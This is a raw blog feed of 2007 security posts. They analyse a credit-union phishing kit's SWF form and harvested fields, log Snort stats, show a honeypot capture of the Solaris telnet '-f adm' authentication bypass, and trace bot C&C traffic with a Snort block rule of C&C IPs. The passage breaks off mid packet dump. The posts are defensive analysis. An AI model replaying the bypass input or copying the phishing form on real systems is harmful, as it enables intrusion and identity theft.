href="http://3.bp.blogspot.com/_QwzalobDZ4c/Rve16fMow5I/AAAAAAAAABs/Va8iegu0wYc/s1600-h/hp-logo-washpostcom.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_QwzalobDZ4c/Rve16fMow5I/AAAAAAAAABs/Va8iegu0wYc/s320/hp-logo-washpostcom.gif" alt="" id="BLOGGER_PHOTO_ID_5113755918314029970" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I read an interesting article today:&lt;br /&gt;http://www.washingtonpost.com/wp-dyn/content/article/2007/09/23/AR2007092301471.html?referrer=emailarticle&lt;br /&gt;&lt;br /&gt;This really hit home because a little over a year ago I was consistently called by Unisys and its sub-contractors to work there.  At the time both myself and my friends knew this contract was a disaster, however even I didn't see this coming.&lt;br /&gt;&lt;br /&gt;I feel that this highlights two failures.  One, the contractor not taking the contract seriously and two, the government agency not fully knowing what it's threats really are.  The main problem here is the blind, hiring the ignorant.  Unisys is not fully to blame here, they have a long standing reputation of achieving the mediocre on their contracts, and DHS should have taken this into account, but they didn't.  They most likely picked the contract that came in the cheapest, and that is what they got.&lt;br /&gt;&lt;br /&gt;I hope this incident leads to a couple of things.  Contractors taking the tasking of protecting an agencies IT assets more seriously, basing success on reality rather than on paper and Government agencies understanding what they are up against, and selecting contractors based on performance rather than $$.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-5238421388448769063?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/5238421388448769063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=5238421388448769063' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/5238421388448769063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/5238421388448769063'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/09/dhs-slams-unisys.html' title='DHS Slams Unisys'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_QwzalobDZ4c/Rve16fMow5I/AAAAAAAAABs/Va8iegu0wYc/s72-c/hp-logo-washpostcom.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-1939244020091628947</id><published>2007-06-01T09:27:00.000-07:00</published><updated>2007-06-02T21:44:48.907-07:00</updated><title type='text'>SWF Phishing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/RmBQrxmaUFI/AAAAAAAAABk/K0q9PCTumhA/s1600-h/singing-fish-original.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/RmBQrxmaUFI/AAAAAAAAABk/K0q9PCTumhA/s320/singing-fish-original.jpg" alt="" id="BLOGGER_PHOTO_ID_5071141893398220882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The other day a phishing email was forwarded to me for analysis.  I figured it would be a good exercise and a little bit of fun to decode the phisher’s methods.  First the email was sent as an account verification.&lt;br /&gt;&lt;br /&gt;***********************************************&lt;br /&gt;&lt;br /&gt;---------- Forwarded message ----------&lt;br /&gt;From: National Credit Union Administration &lt;removed&gt;&lt;br /&gt;Date: May 28, 2007 4:30 AM&lt;br /&gt;Subject: NCUA Account Review Department !&lt;br /&gt;To:&lt;br /&gt;&lt;br /&gt;Account Info Verification&lt;br /&gt;&lt;br /&gt;Dear FCU holder account,&lt;br /&gt;&lt;br /&gt;As part of our security measures, we regularly screen activity in Federal Credit Unions (FCU) network.&lt;br /&gt;We recently noticed the following issue on your account: A recent review of your account determined that we require some additional information from you in order to provide you with secure service. Case ID Number: PP-065-617-349 For your protection, we have limited access to your account until additional security measures can be completed. We apologize for any inconvenience this may cause. Please log in to your FCU account to restore your access as soon as possible.&lt;br /&gt;&lt;br /&gt;You must click the link below and fill in the form on the following page to complete the verification process.&lt;br /&gt;&lt;br /&gt;Click here to update your account&lt;br /&gt;Link = “http://host106-213-static.49-88-b.business.telecomitalia.it/icons/nfl/ncuaclients.html”&lt;br /&gt;&lt;br /&gt;In accordance with NCUA User Agreement, your account access will remain limited until the issue has been resolved. Unfortunately, if access to your account remains limited for an extended period of time, it may result in further limitations or eventual account closure. We encourage you to log in to your FCU account as soon as possible to help avoid this. We thank you for your prompt attention to this matter. Please understand that this is a security measure intended to help protect you and your account.&lt;br /&gt;&lt;br /&gt;We apologize for any inconvenience.&lt;br /&gt;&lt;br /&gt;*************************************************&lt;br /&gt;&lt;br /&gt;Obviously this link is bad.  Lets see what lies in “ncuaclients.html”.&lt;br /&gt;&lt;br /&gt;#wget http://host106-213-static.49-88-b.business.telecomitalia.it/icons/nfl/ncuaclients.html&lt;br /&gt;&lt;br /&gt;# strings ncuaclients.html&lt;br /&gt;&lt;/removed&gt;&lt;pre&gt;&lt;br /&gt;html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"&gt;&lt;br /&gt;head&gt;&lt;br /&gt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /&gt;&lt;br /&gt;title&gt;National Union Credit Administration - Security Form&lt;br /&gt;/head&gt;&lt;br /&gt;body bgcolor="#ffffff"&gt;&lt;br /&gt;!--url's used in the movie--&gt;&lt;br /&gt;a href="http://www.ncua.gov/index.html"&gt;&lt;br /&gt;a href="http://search.ncua.gov/"&gt;&lt;br /&gt;a href="http://www.ncua.gov/privacy.html"&gt;&lt;br /&gt;a href="Http://www.ncua.gov/siteoutline.html"&gt;&lt;br /&gt;a href="http://www.ncua.gov/AboutNcua/ncua_directory.html"&gt;&lt;br /&gt;a href="http://www.ncua.gov/AboutNCUA/Index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/NCUABoard/index.htm"&gt;&lt;br /&gt;a href="http://www.accessacrossamerica.gov/"&gt;&lt;br /&gt;a href="http://www.ncua.gov/FinancialEducation/index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/Express/Index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/data/FOMIA/NCUAgovLink.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/IndexNCUSIFQuery.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/IndexCorpQuery.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/data/IndexDownloadData.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/administrative_orders/Index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/ALManagementInvest/Index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/AssetMgmtCent/Index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/CLF/index.htm"&gt;&lt;br /&gt;a href="http://www.ncua.gov/CorporateCU/index.htm"&gt;&lt;br /&gt;……(removed)…….&lt;br /&gt;a href="http://webapps.ncua.gov/customquery/"&gt;&lt;br /&gt;a href="http://www.ncua.gov/RSS/WhatIsRSS.htm"&gt;&lt;br /&gt;!--text used in the movie--&gt;&lt;br /&gt;!--&lt;br /&gt;* First Name :&lt;br /&gt;* Last Name :&lt;br /&gt;* Date of Birth :&lt;br /&gt;* Mother Maiden Name :&lt;br /&gt;* Address :&lt;br /&gt;* City :&lt;br /&gt;* State :&lt;br /&gt;* Phone Number :&lt;br /&gt;* Bank Name :&lt;br /&gt;* Credit/Debit Card Number :&lt;br /&gt;* Expiration Date :&lt;br /&gt;* Cvv :&lt;br /&gt;* Social Security Number :&lt;br /&gt;* PIN:&lt;br /&gt;E-mail Address:&lt;br /&gt;* Denotes required field&lt;br /&gt;!-- saved from url=(0013)about:internet --&gt;&lt;br /&gt;….removed…..&lt;br /&gt;param name="movie" value="&lt;span style="font-weight: bold;"&gt;ncuaclients.swf&lt;/span&gt;" /&gt;&lt;/pre&gt;&lt;param name="quality" value="high"&gt;&lt;param&gt;&lt;br /&gt;It looks like the page is pulling data right from www.ncua.gov and using a file called “ncuaclients.swf”.  The HTML page calls the SWF file which presents the user with a series of forms which the user is prompted to enter personal data.  After pulling down the SWF file I installed a group of SWF utilities via the FreeBSD ports system called “swftools”.  Included in these are “swfstrings” and “swfdump”.  Suspecting that the SWF file is the culprit and the attacker would be using a POST method to obtain the data I used:&lt;br /&gt;&lt;br /&gt;#swfdump -atpd ncuaclients.swf | grep POST”&lt;br /&gt;&lt;br /&gt;And the following ouput was produced:&lt;br /&gt;&lt;br /&gt;…..(removed…..&lt;br /&gt;String:"Washington" String:"West " String:"Wisconsin" String:"Wyoming" String:"LoadVars" String:"this" String:"submitBtn" String:"onRelease" String:"" String:"alert_txt" String:"Please complete all fields before submitting form." String:"sendForm"&lt;br /&gt;             (   13 bytes) action:     Push Lookup:47 ("&lt;span style="font-weight: bold;"&gt;POST&lt;/span&gt;") Lookup:48 ("_self") Lookup:49 ("&lt;span style="font-weight: bold;"&gt;done.php&lt;/span&gt;") int:3 Lookup:0 ("gatherForm")&lt;br /&gt;            -=&gt; 5f 74 78 74 00 50 4f 53 54 00 5f 73 65 6c 66 00     _txt.POST._self.&lt;br /&gt;&lt;br /&gt;Here we can see a POST method to a document on the local server named done.php.  It is in this PHP file that the attacker stores their phished information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-1939244020091628947?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/1939244020091628947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=1939244020091628947' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1939244020091628947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/1939244020091628947'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/06/swiff-phishing.html' title='SWF Phishing'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QwzalobDZ4c/RmBQrxmaUFI/AAAAAAAAABk/K0q9PCTumhA/s72-c/singing-fish-original.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-6448796751658896515</id><published>2007-05-30T08:57:00.000-07:00</published><updated>2007-05-30T09:21:57.085-07:00</updated><title type='text'>Snort Stats</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_QwzalobDZ4c/Rl2jcxmaUEI/AAAAAAAAABc/cACCclO0-Pg/s1600-h/joemorgan2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_QwzalobDZ4c/Rl2jcxmaUEI/AAAAAAAAABc/cACCclO0-Pg/s320/joemorgan2.jpg" alt="" id="BLOGGER_PHOTO_ID_5070388470235156546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;While spending my time as an IDS analyst, one of the major issues we had was insuring that the IDS sensors were seeing traffic, or were seeing the right amount of traffic.  I currently do not do full time IDS anymore, but I still have that problem in the back of my mind.  This led me to start experimenting with the timestats option in Snort.  You can enable this at compile time with the "--enable-timestats" switch.&lt;br /&gt;&lt;br /&gt;By default it dumps Snort's hourly stats to the console.  To keep all the stats in an archival state, I send all Snort output to a file I call "stats" in my Snort log directory.  I do this at the command line as I am only running Snort on my home system.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;./snort -c ../etc/snort.conf -l /snort -i fxp1 -X -m 022 &gt;&amp; /log/snort/stats&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This process works well for my home net however, on a production box this would be in a startup script and the output could be sent to some sort of database.&lt;br /&gt;&lt;br /&gt;Every hour Snort will log its stats to the file.  This can then be viewed by the analyst to ensure that there are no deviations in traffic visibility.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:arial;"&gt;# tail -n 23 stats&lt;br /&gt;&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Hourly Statistics Report&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Packet analysis time averages:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    Packets Received per hour is:      12763&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;  Packets Received per minute is:        212&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt; Packets Received per second is:          3&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;Packets Dropped in the last hour:          0&lt;/span&gt;  &lt;span style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;Packet Breakdown by Protocol:&lt;br /&gt;&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;   TCP:       9206 (72.136%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;   UDP:        751 (5.885%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;  ICMP:        653 (5.117%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;   ARP:        364 (2.852%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt; EAPOL:          0 (0.000%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;  &lt;br /&gt;IPv6:          0 (0.000%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;ETHLOOP:          0 (0.000%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;   &lt;br /&gt;IPX:          0 (0.000%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt;  FRAG:          0 (0.000%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;&lt;br /&gt; OTHER:       1788 (14.010%)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;DISCARD:          0 (0.000%)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As you can see the majority of this traffic is TCP and a fair amount of packets were seen in the last hour in total(Remember this is a home network!).  If my span port were mis-configured or removed, this would be reflected in the above totals helping the analyst to diagnose the problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-6448796751658896515?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/6448796751658896515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=6448796751658896515' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6448796751658896515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6448796751658896515'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/05/snort-stats.html' title='Snort Stats'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_QwzalobDZ4c/Rl2jcxmaUEI/AAAAAAAAABc/cACCclO0-Pg/s72-c/joemorgan2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-6310566711871858294</id><published>2007-03-01T14:21:00.000-08:00</published><updated>2007-03-03T19:26:34.807-08:00</updated><title type='text'>Don't Use Telnet!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QwzalobDZ4c/RedUytE6I6I/AAAAAAAAAA8/hkMXb-VPhww/s1600-h/telnet.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 248px; height: 131px;" src="http://2.bp.blogspot.com/_QwzalobDZ4c/RedUytE6I6I/AAAAAAAAAA8/hkMXb-VPhww/s320/telnet.gif" alt="" id="BLOGGER_PHOTO_ID_5037087938307564450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:times new roman;font-size:100%;"  &gt;Today I got my first hit of the Solaris exploit (Worm?) on my honeypot.  Both my Bleeding rules and my normal Snort registered rules fired on this single inbound packet.&lt;br /&gt;&lt;br /&gt;# less alert | grep -A 4 -B 2 192.18.17.206&lt;br /&gt;[**] [1:2003411:5] BLEEDING-EDGE EXPLOIT Solaris telnet USER environment vuln Attack inbound [**]&lt;br /&gt;[Classification: Attempted User Privilege Gain] [Priority: 1]&lt;br /&gt;03/01-13:44:29.556771 192.18.17.206:1134 -&gt; 192.168.0.34:23&lt;br /&gt;TCP TTL:46 TOS:0x0 ID:52835 IpLen:20 DgmLen:86 DF&lt;br /&gt;***AP*** Seq: 0xED89493C  Ack: 0x9D57147C  Win: 0xC4E0  TcpLen: 20&lt;br /&gt;[Xref =&gt; http://isc.sans.org/diary.html?n&amp;storyid=2220][Xref =&gt; http://riosec.com/solaris-telnet-0-day]&lt;br /&gt;&lt;br /&gt;[**] [1:10136:3] TELNET Solaris login environment variable authentication bypass attempt [**]&lt;br /&gt;[Classification: Attempted Administrator Privilege Gain] [Priority: 1]&lt;br /&gt;03/01-13:44:29.556771 192.18.17.206:1134 -&gt; 192.168.0.34:23&lt;br /&gt;TCP TTL:46 TOS:0x0 ID:52835 IpLen:20 DgmLen:86 DF&lt;br /&gt;***AP*** Seq: 0xED89493C  Ack: 0x9D57147C  Win: 0xC4E0  TcpLen: 20&lt;br /&gt;[Xref =&gt; http://www.securityfocus.com/bid/22512]&lt;br /&gt;&lt;br /&gt;The below packet is the culprit:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;# tcpdump -vvnnXs 1514 -r ../snort/snort.log.1172706692  port 23 | less&lt;br /&gt;reading from file ../snort/snort.log.1172706692, link-type EN10MB (Ethernet)&lt;br /&gt;13:44:29.556771 IP (tos 0x0, ttl  46, id 52835, offset 0, flags [DF], proto: TCP (6), length: 86) 192.18.17.206.1134 &gt; 192.168.0.34.23: P, cksum 0x0fed (correct), 3985197372&lt;br /&gt;:3985197418(46) ack 2639729788 win 50400 [telnet WILL NAWS, SB NAWS IS 0x50 0 0x19 SE, WILL TERMINAL TYPE, SB TERMINAL TYPE IS 0x76 0x74 0x31 0x30 0x30 SE, WILL NEW-ENVIRON,&lt;br /&gt;SB NEW-ENVIRON IS 0 0x55 0x53 0x45 0x52 0x1 0x2d 0x66 0x61 0x64 0x6d SE]&lt;br /&gt;   0x0000:  4500 0056 ce63 4000 2e06 eb93 c012 11ce  E..V.c@.........&lt;br /&gt;   0x0010:  c0a8 0022 046e 0017 ed89 493c 9d57 147c  ...".n....I&lt;.W.|        0x0020:  5018 c4e0 0fed 0000 fffb 1fff fa1f 0050  P..............P        0x0030:  0019 fff0 fffb 18ff fa18 0076 7431 3030  ...........vt100        0x0040:  fff0 fffb 27ff fa27 0000 5553 4552 012d  ....'..'..&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0); font-family: arial;font-size:85%;" &gt;USER&lt;/span&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;.&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold; font-family: arial;font-size:85%;" &gt;-&lt;/span&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;&lt;br /&gt;   0x0050:  6661 646d fff0                                                                                               &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0); font-family: arial;font-size:85%;" &gt;f&lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255); font-family: arial;font-size:85%;" &gt;adm&lt;/span&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;..&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;And flow data:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-size:85%;" &gt;# tcpflow -cr honeytrap_00023_20070301125318 port 23&lt;br /&gt;192.018.017.206.01134-192.168.000.034.00023: ...&lt;br /&gt;192.018.017.206.01134-192.168.000.034.00023: .......P...........vt100....'..'..USER.-fadm..&lt;br /&gt;192.168.000.034.00023-192.018.017.206.01134:&lt;br /&gt;&lt;br /&gt;192.168.000.034.00023-192.018.017.206.01134:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;It is quite easy to see the -f and the login "adm".  This is consistent with MITRE's description:&lt;br /&gt;&lt;br /&gt;"The telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts"&lt;br /&gt;&lt;br /&gt;Ref: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0882&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-6310566711871858294?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/6310566711871858294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=6310566711871858294' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6310566711871858294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/6310566711871858294'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/03/dont-use-telnet.html' title='Don&apos;t Use Telnet!'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_QwzalobDZ4c/RedUytE6I6I/AAAAAAAAAA8/hkMXb-VPhww/s72-c/telnet.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-4943419309611953749</id><published>2007-02-22T20:07:00.000-08:00</published><updated>2007-02-23T13:31:05.990-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Command and Control'/><category scheme='http://www.blogger.com/atom/ns#' term='Bot'/><category scheme='http://www.blogger.com/atom/ns#' term='ids'/><title type='text'>Bot C&amp;C</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QwzalobDZ4c/Rd5pqSEyJyI/AAAAAAAAAAk/dmG5V75jiIs/s1600-h/robot.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://4.bp.blogspot.com/_QwzalobDZ4c/Rd5pqSEyJyI/AAAAAAAAAAk/dmG5V75jiIs/s320/robot.jpg" alt="" id="BLOGGER_PHOTO_ID_5034577608574117666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The other day I browsed to a site hosting unknown malware on my home VM host as part of an investigation.   Fortunately for me I also run Snort and tshark on my home network 24/7 to fully understand and capture everything that traverses my home systems.  This came in very handy the other day, and I thought I would document my network investigation procedure for others to use and follow.  Let me preface this with the fact that I subscribe fully to Richard Bejtlich's NSM principals.  I capture both alert data and full content data for intrusion analysis.  The alert data is Snort w/ both registered and bleeding rules, and the full content data is tshark running some simple BPF's at the command line logging to a "ring buffer" of ten 100M files.&lt;br /&gt;&lt;br /&gt;This all started when I was investigating a suspicious website in my VM system.  After browsing to the site, I immediately went to my IDS data to determine what happened.   Snort gave me the following alert:&lt;br /&gt;&lt;br /&gt;1 [**] [1:2404000:602] BLEEDING-EDGE DROP Known Bot C&amp;C Server Traffic (group 1)  [**]&lt;br /&gt;&lt;br /&gt;This was promising. Pulling the full alert from snort an analyst can see the connection attempt to 6667 on host  161.53.178.240:&lt;br /&gt;&lt;br /&gt;# cat alert | grep -A 5 "C&amp;amp;C"&lt;br /&gt;[**] [1:2404000:602] BLEEDING-EDGE DROP Known Bot C&amp;C Server Traffic (group 1)  [**]&lt;br /&gt;[Classification: A Network Trojan was detected] [Priority: 1]&lt;br /&gt;02/21-10:17:54.366236 192.168.0.31:2253 -&gt; &lt;span style="font-weight: bold; font-style: italic;"&gt;161.53.178.240&lt;/span&gt;:6667&lt;br /&gt;TCP TTL:128 TOS:0x0 ID:13198 IpLen:20 DgmLen:48 DF&lt;br /&gt;******S* Seq: 0xCA53141F  Ack: 0x0  Win: 0xFC00  TcpLen: 28&lt;br /&gt;TCP Options (4) =&gt; MSS: 1460 NOP NOP SackOK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A quick look at the rule shows that this IP is included in the bleeding botcc "DROP" rules:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;alert ip $HOME_NET any -&gt; [121.6.201.216,125.250.188.204,130.233.48.242,130.243.52.250,132.205.87.223,&lt;br /&gt;140.115.182.242,140.123.227.100,140.131.142.236,142.231.68.25,143.225.92.103,&lt;br /&gt;143.248.138.213,143.248.4.136,143.248.52.33,143.248.62.116,149.9.1.16,&lt;br /&gt;151.1.191.184,154.20.114.95,161.184.175.95,&lt;span style="font-weight: bold; font-style: italic;"&gt;161.53.178.240&lt;/span&gt;,163.19.35.2,&lt;br /&gt;163.20.97.131,163.25.97.83,168.187.115.136,168.187.62.190,172.212.55.194,&lt;br /&gt;190.49.108.103,192.116.231.44,193.109.122.67,193.109.122.77,193.13.137.194,&lt;br /&gt;193.163.220.3,193.164.131.50,194.109.11.65,194.109.129.220,194.109.64.131,&lt;br /&gt;194.14.236.50,194.146.226.245,194.159.164.195,194.242.45.151,194.68.45.50,&lt;br /&gt;195.101.94.137,195.111.64.195,195.144.12.5,195.225.204.134,195.226.51.77,&lt;br /&gt;195.47.220.2,195.50.191.12,195.68.206.250,195.68.221.221,200.31.43.33,&lt;br /&gt;200.80.43.9,200.95.144.26,201.45.127.125,202.133.108.11,202.134.0.13,&lt;br /&gt;202.143.132.82,202.222.19.53,202.54.38.12,202.71.144.176,&lt;br /&gt;202.8.87.197] any (msg:"BLEEDING-EDGE DROP Known Bot C&amp;C Traffic (group 1) - BLOCKING SOURCE"; reference:url,www.shadowserver.org; threshold: type limit, track by_src, seconds 3600, count 1; classtype:trojan-activity; sid:2405000; rev:602; fwsam: dst, 30 days;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I immediately went to my full content data.  Noticing from the alert, this fired at 02/21-10:17:54 I searched through my "ring buffer" capture files and found honeytrap_00013_20070221091354.  This file states that the capture started at approx. 9:13 on 02.21 2007.  Parsing the data with capinfos I got the full start and stop time for this file:&lt;br /&gt;&lt;br /&gt;#capinfos honeytrap_00013_20070221091354&lt;br /&gt;File name: honeytrap_00013_20070221091354&lt;br /&gt;File type: Wireshark/tcpdump/... - libpcap&lt;br /&gt;Number of packets: 259439&lt;br /&gt;File size: 102401487 bytes&lt;br /&gt;Data size: 98250439 bytes&lt;br /&gt;Capture duration: 23117.468285 seconds&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Start time: Wed Feb 21 09:13:54 2007&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;End time: Wed Feb 21 15:39:12 2007&lt;/span&gt;&lt;br /&gt;Data rate: 4250.05 bytes/s&lt;br /&gt;Data rate: 34000.41 bits/s&lt;br /&gt;Average packet size: 378.70 bytes&lt;br /&gt;&lt;br /&gt;The target time frame for the alert falls within this capture file.  To find out what type of connection was made from this malware I parsed the file with tcpdump:&lt;br /&gt;&lt;br /&gt;# tcpdump -vvnnXs 1514 -r honeytrap_00013_20070221091354 host 161.53.178.240&lt;br /&gt;reading from file honeytrap_00013_20070221091354, link-type EN10MB (Ethernet)&lt;br /&gt;10:17:54.366236 IP (tos 0x0, ttl 128, id 13198, offset 0, flags [DF], proto: TCP (6), length: 48) 192.168.0.31.2253 &gt; 161.53.178.240.6667: &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;S,&lt;/span&gt; cksum 0x70e6 (correct), 3394442271:3394442271(0) win 64512 &lt;mss&gt;&lt;br /&gt;0x0000:  4500 0030 338e 4000 8006 b24c c0a8 001f  E..03.@....L....&lt;br /&gt;0x0010:  a135 b2f0 08cd 1a0b ca53 141f 